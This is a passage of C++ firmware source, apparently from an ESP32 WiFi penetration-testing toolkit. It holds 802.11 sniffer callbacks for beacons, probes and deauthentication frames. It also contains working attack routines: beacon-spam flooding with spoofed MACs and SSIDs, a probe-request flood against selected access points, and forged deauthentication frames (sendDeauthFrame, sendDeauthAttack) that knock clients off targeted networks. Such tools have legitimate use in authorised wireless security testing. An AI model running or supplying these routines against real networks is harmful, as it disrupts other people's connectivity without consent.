  1314. ap.bssid[1] = snifferPacket->payload[11];
  1315. ap.bssid[2] = snifferPacket->payload[12];
  1316. ap.bssid[3] = snifferPacket->payload[13];
  1317. ap.bssid[4] = snifferPacket->payload[14];
  1318. ap.bssid[5] = snifferPacket->payload[15];
  1319. ap.selected = false;
  1320. ap.beacon = new LinkedList<char>();
  1321. //for (int i = 0; i < len; i++) {
  1322. // ap.beacon->add(snifferPacket->payload[i]);
  1323. //}
  1324. ap.beacon->add(snifferPacket->payload[34]);
  1325. ap.beacon->add(snifferPacket->payload[35]);
  1326. Serial.print("\nBeacon: ");
  1327. for (int i = 0; i < ap.beacon->size(); i++) {
  1328. char hexCar[4];
  1329. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1330. Serial.print(hexCar);
  1331. if ((i + 1) % 16 == 0)
  1332. Serial.print("\n");
  1333. else
  1334. Serial.print(" ");
  1335. }
  1336. access_points->add(ap);
  1337. Serial.print(access_points->size());
  1338. Serial.println();
  1339. if (save_packet)
  1340. sd_obj.addPacket(snifferPacket->payload, len);
  1341. }
  1342. }
  1343. }
  1344. }
  1345. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1346. {
  1347. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1348. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1349. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1350. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1351. int len = snifferPacket->rx_ctrl.sig_len;
  1352. String display_string = "";
  1353. String essid = "";
  1354. String bssid = "";
  1355. if (type == WIFI_PKT_MGMT)
  1356. {
  1357. len -= 4;
  1358. int fctl = ntohs(frameControl->fctl);
  1359. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1360. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1361. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1362. #ifdef HAS_SCREEN
  1363. int buf = display_obj.display_buffer->size();
  1364. #else
  1365. int buf = 0;
  1366. #endif
  1367. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1368. {
  1369. char addr[] = "00:00:00:00:00:00";
  1370. getMAC(addr, snifferPacket->payload, 10);
  1371. bool in_list = false;
  1372. bool mac_match = true;
  1373. for (int i = 0; i < access_points->size(); i++) {
  1374. mac_match = true;
  1375. //Serial.print("Checking ");
  1376. //Serial.print(addr);
  1377. //Serial.println(" against " + (String)access_points->get(i).essid);
  1378. for (int x = 0; x < 6; x++) {
  1379. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1380. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1381. mac_match = false;
  1382. //Serial.println("MACs do not match");
  1383. break;
  1384. }
  1385. }
  1386. if (mac_match) {
  1387. in_list = true;
  1388. break;
  1389. }
  1390. }
  1391. if (!in_list) {
  1392. delay(random(0, 10));
  1393. Serial.print("RSSI: ");
  1394. Serial.print(snifferPacket->rx_ctrl.rssi);
  1395. Serial.print(" Ch: ");
  1396. Serial.print(snifferPacket->rx_ctrl.channel);
  1397. Serial.print(" BSSID: ");
  1398. Serial.print(addr);
  1399. display_string.concat(addr);
  1400. Serial.print(" ESSID: ");
  1401. display_string.concat(" -> ");
  1402. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1403. {
  1404. Serial.print((char)snifferPacket->payload[i + 38]);
  1405. display_string.concat((char)snifferPacket->payload[i + 38]);
  1406. essid.concat((char)snifferPacket->payload[i + 38]);
  1407. }
  1408. bssid.concat(addr);
  1409. int temp_len = display_string.length();
  1410. for (int i = 0; i < 40 - temp_len; i++)
  1411. {
  1412. display_string.concat(" ");
  1413. }
  1414. Serial.print(" ");
  1415. #ifdef HAS_SCREEN
  1416. if (display_obj.display_buffer->size() == 0)
  1417. {
  1418. display_obj.loading = true;
  1419. display_obj.display_buffer->add(display_string);
  1420. display_obj.loading = false;
  1421. }
  1422. #endif
  1423. if (essid == "") {
  1424. essid = bssid;
  1425. Serial.print(essid + " ");
  1426. }
  1427. AccessPoint ap = {essid,
  1428. snifferPacket->rx_ctrl.channel,
  1429. {snifferPacket->payload[10],
  1430. snifferPacket->payload[11],
  1431. snifferPacket->payload[12],
  1432. snifferPacket->payload[13],
  1433. snifferPacket->payload[14],
  1434. snifferPacket->payload[15]},
  1435. false,
  1436. NULL};
  1437. access_points->add(ap);
  1438. Serial.print(access_points->size());
  1439. Serial.println();
  1440. if (save_packet)
  1441. sd_obj.addPacket(snifferPacket->payload, len);
  1442. }
  1443. }
  1444. }
  1445. }
  1446. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1447. {
  1448. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1449. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1450. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1451. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1452. int len = snifferPacket->rx_ctrl.sig_len;
  1453. String display_string = "";
  1454. if (type == WIFI_PKT_MGMT)
  1455. {
  1456. len -= 4;
  1457. int fctl = ntohs(frameControl->fctl);
  1458. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1459. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1460. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1461. #ifdef HAS_SCREEN
  1462. int buf = display_obj.display_buffer->size();
  1463. #else
  1464. int buf = 0;
  1465. #endif
  1466. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1467. {
  1468. delay(random(0, 10));
  1469. Serial.print("RSSI: ");
  1470. Serial.print(snifferPacket->rx_ctrl.rssi);
  1471. Serial.print(" Ch: ");
  1472. Serial.print(snifferPacket->rx_ctrl.channel);
  1473. Serial.print(" BSSID: ");
  1474. char addr[] = "00:00:00:00:00:00";
  1475. getMAC(addr, snifferPacket->payload, 10);
  1476. Serial.print(addr);
  1477. display_string.concat(addr);
  1478. Serial.print(" ESSID: ");
  1479. display_string.concat(" -> ");
  1480. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1481. {
  1482. Serial.print((char)snifferPacket->payload[i + 38]);
  1483. display_string.concat((char)snifferPacket->payload[i + 38]);
  1484. }
  1485. int temp_len = display_string.length();
  1486. #ifdef HAS_SCREEN
  1487. for (int i = 0; i < 40 - temp_len; i++)
  1488. {
  1489. display_string.concat(" ");
  1490. }
  1491. Serial.print(" ");
  1492. if (display_obj.display_buffer->size() == 0)
  1493. {
  1494. display_obj.loading = true;
  1495. display_obj.display_buffer->add(display_string);
  1496. display_obj.loading = false;
  1497. }
  1498. #endif
  1499. Serial.println();
  1500. if (save_packet)
  1501. sd_obj.addPacket(snifferPacket->payload, len);
  1502. }
  1503. }
  1504. }
  1505. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1506. {
  1507. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1508. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1509. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1510. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1511. int len = snifferPacket->rx_ctrl.sig_len;
  1512. String display_string = "";
  1513. if (type == WIFI_PKT_MGMT)
  1514. {
  1515. len -= 4;
  1516. int fctl = ntohs(frameControl->fctl);
  1517. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1518. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1519. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1520. #ifdef HAS_SCREEN
  1521. int buf = display_obj.display_buffer->size();
  1522. #else
  1523. int buf = 0;
  1524. #endif
  1525. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1526. {
  1527. delay(random(0, 10));
  1528. Serial.print("RSSI: ");
  1529. Serial.print(snifferPacket->rx_ctrl.rssi);
  1530. Serial.print(" Ch: ");
  1531. Serial.print(snifferPacket->rx_ctrl.channel);
  1532. Serial.print(" BSSID: ");
  1533. char addr[] = "00:00:00:00:00:00";
  1534. getMAC(addr, snifferPacket->payload, 10);
  1535. Serial.print(addr);
  1536. display_string.concat(text_table4[0]);
  1537. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1538. display_string.concat(" ");
  1539. display_string.concat(addr);
  1540. #ifdef HAS_SCREEN
  1541. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1542. {
  1543. display_string.concat(" ");
  1544. }
  1545. Serial.print(" ");
  1546. if (display_obj.display_buffer->size() == 0)
  1547. {
  1548. display_obj.loading = true;
  1549. display_obj.display_buffer->add(display_string);
  1550. display_obj.loading = false;
  1551. }
  1552. #endif
  1553. Serial.println();
  1554. if (save_packet)
  1555. sd_obj.addPacket(snifferPacket->payload, len);
  1556. }
  1557. }
  1558. }
  1559. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1560. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1561. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1562. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1563. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1564. int len = snifferPacket->rx_ctrl.sig_len;
  1565. String display_string = "";
  1566. if (type == WIFI_PKT_MGMT)
  1567. {
  1568. len -= 4;
  1569. int fctl = ntohs(frameControl->fctl);
  1570. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1571. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1572. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1573. #ifdef HAS_SCREEN
  1574. int buf = display_obj.display_buffer->size();
  1575. #else
  1576. int buf = 0;
  1577. #endif
  1578. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1579. {
  1580. delay(random(0, 10));
  1581. Serial.print("RSSI: ");
  1582. Serial.print(snifferPacket->rx_ctrl.rssi);
  1583. Serial.print(" Ch: ");
  1584. Serial.print(snifferPacket->rx_ctrl.channel);
  1585. Serial.print(" Client: ");
  1586. char addr[] = "00:00:00:00:00:00";
  1587. getMAC(addr, snifferPacket->payload, 10);
  1588. Serial.print(addr);
  1589. display_string.concat(addr);
  1590. Serial.print(" Requesting: ");
  1591. display_string.concat(" -> ");
  1592. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1593. {
  1594. Serial.print((char)snifferPacket->payload[26 + i]);
  1595. display_string.concat((char)snifferPacket->payload[26 + i]);
  1596. }
  1597. // Print spaces because of the rotating lines of the hardware scroll.
  1598. // The same characters print from previous lines so I just overwrite them
  1599. // with spaces.
  1600. #ifdef HAS_SCREEN
  1601. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1602. {
  1603. display_string.concat(" ");
  1604. }
  1605. if (display_obj.display_buffer->size() == 0)
  1606. {
  1607. //while (display_obj.printing)
  1608. // delay(1);
  1609. display_obj.loading = true;
  1610. display_obj.display_buffer->add(display_string);
  1611. display_obj.loading = false;
  1612. }
  1613. #endif
  1614. Serial.println();
  1615. if (save_packet)
  1616. sd_obj.addPacket(snifferPacket->payload, len);
  1617. }
  1618. }
  1619. }
  1620. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1621. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1622. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1623. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1624. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1625. int len = snifferPacket->rx_ctrl.sig_len;
  1626. String display_string = "";
  1627. String essid = "";
  1628. bool found = false;
  1629. if (type == WIFI_PKT_MGMT)
  1630. {
  1631. len -= 4;
  1632. int fctl = ntohs(frameControl->fctl);
  1633. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1634. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1635. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1636. #ifdef HAS_SCREEN
  1637. int buf = display_obj.display_buffer->size();
  1638. #else
  1639. int buf = 0;
  1640. #endif
  1641. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1642. {
  1643. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1644. {
  1645. essid.concat((char)snifferPacket->payload[26 + i]);
  1646. }
  1647. for (int i = 0; i < ssids->size(); i++) {
  1648. if (ssids->get(i).essid == essid) {
  1649. Serial.println("Found a sheep");
  1650. found = true;
  1651. break;
  1652. }
  1653. }
  1654. if (!found)
  1655. return;
  1656. delay(random(0, 10));
  1657. Serial.print("RSSI: ");
  1658. Serial.print(snifferPacket->rx_ctrl.rssi);
  1659. Serial.print(" Ch: ");
  1660. Serial.print(snifferPacket->rx_ctrl.channel);
  1661. Serial.print(" Client: ");
  1662. char addr[] = "00:00:00:00:00:00";
  1663. getMAC(addr, snifferPacket->payload, 10);
  1664. Serial.print(addr);
  1665. display_string.concat(addr);
  1666. Serial.print(" Requesting: ");
  1667. display_string.concat(" -> ");
  1668. // ESSID
  1669. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1670. {
  1671. Serial.print((char)snifferPacket->payload[26 + i]);
  1672. display_string.concat((char)snifferPacket->payload[26 + i]);
  1673. }
  1674. // Print spaces because of the rotating lines of the hardware scroll.
  1675. // The same characters print from previous lines so I just overwrite them
  1676. // with spaces.
  1677. #ifdef HAS_SCREEN
  1678. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1679. {
  1680. display_string.concat(" ");
  1681. }
  1682. if (display_obj.display_buffer->size() == 0)
  1683. {
  1684. display_obj.loading = true;
  1685. display_obj.display_buffer->add(display_string);
  1686. display_obj.loading = false;
  1687. }
  1688. #endif
  1689. Serial.println();
  1690. if (save_packet)
  1691. sd_obj.addPacket(snifferPacket->payload, len);
  1692. }
  1693. }
  1694. }
  1695. /*
  1696. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1697. set_channel = random(1,12);
  1698. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1699. delay(1);
  1700. // Randomize SRC MAC
  1701. packet[10] = packet[16] = custom_ssid.bssid[0];
  1702. packet[11] = packet[17] = custom_ssid.bssid[1];
  1703. packet[12] = packet[18] = custom_ssid.bssid[2];
  1704. packet[13] = packet[19] = custom_ssid.bssid[3];
  1705. packet[14] = packet[20] = custom_ssid.bssid[4];
  1706. packet[15] = packet[21] = custom_ssid.bssid[5];
  1707. char ESSID[custom_ssid.essid.length() + 1] = {};
  1708. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1709. }*/
  1710. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1711. set_channel = random(1,12);
  1712. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1713. delay(1);
  1714. if (custom_ssid.beacon->size() == 0)
  1715. return;
  1716. // Randomize SRC MAC
  1717. // Randomize SRC MAC
  1718. packet[10] = packet[16] = random(256);
  1719. packet[11] = packet[17] = random(256);
  1720. packet[12] = packet[18] = random(256);
  1721. packet[13] = packet[19] = random(256);
  1722. packet[14] = packet[20] = random(256);
  1723. packet[15] = packet[21] = random(256);
  1724. char ESSID[custom_ssid.essid.length() + 1] = {};
  1725. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1726. int realLen = strlen(ESSID);
  1727. int ssidLen = random(realLen, 33);
  1728. int numSpace = ssidLen - realLen;
  1729. //int rand_len = sizeof(rand_reg);
  1730. int fullLen = ssidLen;
  1731. packet[37] = fullLen;
  1732. // Insert my tag
  1733. for(int i = 0; i < realLen; i++)
  1734. packet[38 + i] = ESSID[i];
  1735. for(int i = 0; i < numSpace; i++)
  1736. packet[38 + realLen + i] = 0x20;
  1737. /////////////////////////////
  1738. packet[50 + fullLen] = set_channel;
  1739. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1740. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1741. // Add everything that goes after the SSID
  1742. //for(int i = 0; i < 12; i++)
  1743. // packet[38 + fullLen + i] = postSSID[i];
  1744. packet[34] = custom_ssid.beacon->get(0);
  1745. packet[35] = custom_ssid.beacon->get(1);
  1746. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1747. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1748. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1749. packets_sent = packets_sent + 3;
  1750. }
  1751. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1752. set_channel = random(1,12);
  1753. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1754. delay(1);
  1755. // Randomize SRC MAC
  1756. packet[10] = packet[16] = custom_ssid.bssid[0];
  1757. packet[11] = packet[17] = custom_ssid.bssid[1];
  1758. packet[12] = packet[18] = custom_ssid.bssid[2];
  1759. packet[13] = packet[19] = custom_ssid.bssid[3];
  1760. packet[14] = packet[20] = custom_ssid.bssid[4];
  1761. packet[15] = packet[21] = custom_ssid.bssid[5];
  1762. char ESSID[custom_ssid.essid.length() + 1] = {};
  1763. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1764. int ssidLen = strlen(ESSID);
  1765. //int rand_len = sizeof(rand_reg);
  1766. int fullLen = ssidLen;
  1767. packet[37] = fullLen;
  1768. // Insert my tag
  1769. for(int i = 0; i < ssidLen; i++)
  1770. packet[38 + i] = ESSID[i];
  1771. /////////////////////////////
  1772. packet[50 + fullLen] = set_channel;
  1773. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1774. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1775. // Add everything that goes after the SSID
  1776. for(int i = 0; i < 12; i++)
  1777. packet[38 + fullLen + i] = postSSID[i];
  1778. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1779. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1780. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1781. packets_sent = packets_sent + 3;
  1782. }
  1783. // Function to send beacons with random ESSID length
  1784. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1785. set_channel = random(1,12);
  1786. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1787. delay(1);
  1788. // Randomize SRC MAC
  1789. packet[10] = packet[16] = random(256);
  1790. packet[11] = packet[17] = random(256);
  1791. packet[12] = packet[18] = random(256);
  1792. packet[13] = packet[19] = random(256);
  1793. packet[14] = packet[20] = random(256);
  1794. packet[15] = packet[21] = random(256);
  1795. int ssidLen = strlen(ESSID);
  1796. //int rand_len = sizeof(rand_reg);
  1797. int fullLen = ssidLen;
  1798. packet[37] = fullLen;
  1799. // Insert my tag
  1800. for(int i = 0; i < ssidLen; i++)
  1801. packet[38 + i] = ESSID[i];
  1802. /////////////////////////////
  1803. packet[50 + fullLen] = set_channel;
  1804. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1805. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1806. // Add everything that goes after the SSID
  1807. for(int i = 0; i < 12; i++)
  1808. packet[38 + fullLen + i] = postSSID[i];
  1809. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1810. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1811. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1812. packets_sent = packets_sent + 3;
  1813. }
  1814. // Function for sending crafted beacon frames
  1815. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1816. set_channel = random(1,12);
  1817. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1818. delay(1);
  1819. // Randomize SRC MAC
  1820. packet[10] = packet[16] = random(256);
  1821. packet[11] = packet[17] = random(256);
  1822. packet[12] = packet[18] = random(256);
  1823. packet[13] = packet[19] = random(256);
  1824. packet[14] = packet[20] = random(256);
  1825. packet[15] = packet[21] = random(256);
  1826. packet[37] = 6;
  1827. // Randomize SSID (Fixed size 6. Lazy right?)
  1828. packet[38] = alfa[random(65)];
  1829. packet[39] = alfa[random(65)];
  1830. packet[40] = alfa[random(65)];
  1831. packet[41] = alfa[random(65)];
  1832. packet[42] = alfa[random(65)];
  1833. packet[43] = alfa[random(65)];
  1834. packet[56] = set_channel;
  1835. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1836. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1837. // Add everything that goes after the SSID
  1838. for(int i = 0; i < 12; i++)
  1839. packet[38 + 6 + i] = postSSID[i];
  1840. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1841. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1842. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1843. packets_sent = packets_sent + 3;
  1844. }
  1845. // Function to send probe flood to all "active" access points
  1846. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1847. // Itterate through all access points in list
  1848. for (int i = 0; i < access_points->size(); i++) {
  1849. // Check if active
  1850. if (access_points->get(i).selected) {
  1851. this->set_channel = access_points->get(i).channel;
  1852. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1853. delay(1);
  1854. // Build packet
  1855. // Randomize SRC MAC
  1856. prob_req_packet[10] = random(256);
  1857. prob_req_packet[11] = random(256);
  1858. prob_req_packet[12] = random(256);
  1859. prob_req_packet[13] = random(256);
  1860. prob_req_packet[14] = random(256);
  1861. prob_req_packet[15] = random(256);
  1862. // Set SSID length
  1863. int ssidLen = access_points->get(i).essid.length();
  1864. //int rand_len = sizeof(rand_reg);
  1865. int fullLen = ssidLen;
  1866. prob_req_packet[25] = fullLen;
  1867. // Insert ESSID
  1868. char buf[access_points->get(i).essid.length() + 1] = {};
  1869. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1870. for(int i = 0; i < ssidLen; i++)
  1871. prob_req_packet[26 + i] = buf[i];
  1872. /*
  1873. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1874. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1875. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1876. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1877. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1878. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1879. 0x00, 0x00
  1880. */
  1881. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1882. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1883. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1884. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1885. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1886. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1887. 0x00, 0x00, 0x00, 0x00};
  1888. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1889. for (int i = 0; i < 26 + fullLen; i++)
  1890. good_probe_req_packet[i] = prob_req_packet[i];
  1891. for(int i = 0; i < 40; i++)
  1892. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1893. // Send packet
  1894. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1895. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1896. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1897. packets_sent = packets_sent + 3;
  1898. }
  1899. }
  1900. }
  1901. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel) {
  1902. // Itterate through all access points in list
  1903. // Check if active
  1904. WiFiScan::set_channel = channel;
  1905. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  1906. delay(1);
  1907. // Build packet
  1908. deauth_frame_default[10] = bssid[0];
  1909. deauth_frame_default[11] = bssid[1];
  1910. deauth_frame_default[12] = bssid[2];
  1911. deauth_frame_default[13] = bssid[3];
  1912. deauth_frame_default[14] = bssid[4];
  1913. deauth_frame_default[15] = bssid[5];
  1914. deauth_frame_default[16] = bssid[0];
  1915. deauth_frame_default[17] = bssid[1];
  1916. deauth_frame_default[18] = bssid[2];
  1917. deauth_frame_default[19] = bssid[3];
  1918. deauth_frame_default[20] = bssid[4];
  1919. deauth_frame_default[21] = bssid[5];
  1920. // Send packet
  1921. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1922. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1923. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1924. packets_sent = packets_sent + 3;
  1925. }
  1926. void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
  1927. // Itterate through all access points in list
  1928. for (int i = 0; i < access_points->size(); i++) {
  1929. // Check if active
  1930. if (access_points->get(i).selected) {
  1931. this->set_channel = access_points->get(i).channel;
  1932. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1933. delay(1);
  1934. // Build packet
  1935. deauth_frame_default[10] = access_points->get(i).bssid[0];
  1936. deauth_frame_default[11] = access_points->get(i).bssid[1];
  1937. deauth_frame_default[12] = access_points->get(i).bssid[2];
  1938. deauth_frame_default[13] = access_points->get(i).bssid[3];
  1939. deauth_frame_default[14] = access_points->get(i).bssid[4];
  1940. deauth_frame_default[15] = access_points->get(i).bssid[5];
  1941. deauth_frame_default[16] = access_points->get(i).bssid[0];
  1942. deauth_frame_default[17] = access_points->get(i).bssid[1];
  1943. deauth_frame_default[18] = access_points->get(i).bssid[2];
  1944. deauth_frame_default[19] = access_points->get(i).bssid[3];
  1945. deauth_frame_default[20] = access_points->get(i).bssid[4];
  1946. deauth_frame_default[21] = access_points->get(i).bssid[5];
  1947. // Send packet
  1948. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1949. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1950. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1951. packets_sent = packets_sent + 3;
  1952. }
  1953. }
  1954. }
  1955. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1956. {
  1957. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1958. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1959. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1960. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1961. int len = snifferPacket->rx_ctrl.sig_len;
  1962. String display_string = "";
  1963. #ifdef HAS_SCREEN
  1964. int buff = display_obj.display_buffer->size();
  1965. #else
  1966. int buff = 0;
  1967. #endif
  1968. if (type == WIFI_PKT_MGMT)
  1969. {
  1970. len -= 4;
  1971. int fctl = ntohs(frameControl->fctl);
  1972. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1973. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1974. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1975. #ifndef MARAUDER_MINI
  1976. if (snifferPacket->payload[0] == 0x80)
  1977. {
  1978. num_beacon++;
  1979. }
  1980. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  1981. {
  1982. num_deauth++;
  1983. }
  1984. else if (snifferPacket->payload[0] == 0x40)
  1985. {
  1986. num_probe++;
  1987. }
  1988. #endif
  1989. char addr[] = "00:00:00:00:00:00";
  1990. getMAC(addr, snifferPacket->payload, 10);
  1991. display_string.concat(addr);
  1992. int temp_len = display_string.length();
  1993. #ifdef HAS_SCREEN
  1994. for (int i = 0; i < 40 - temp_len; i++)
  1995. {
  1996. display_string.concat(" ");
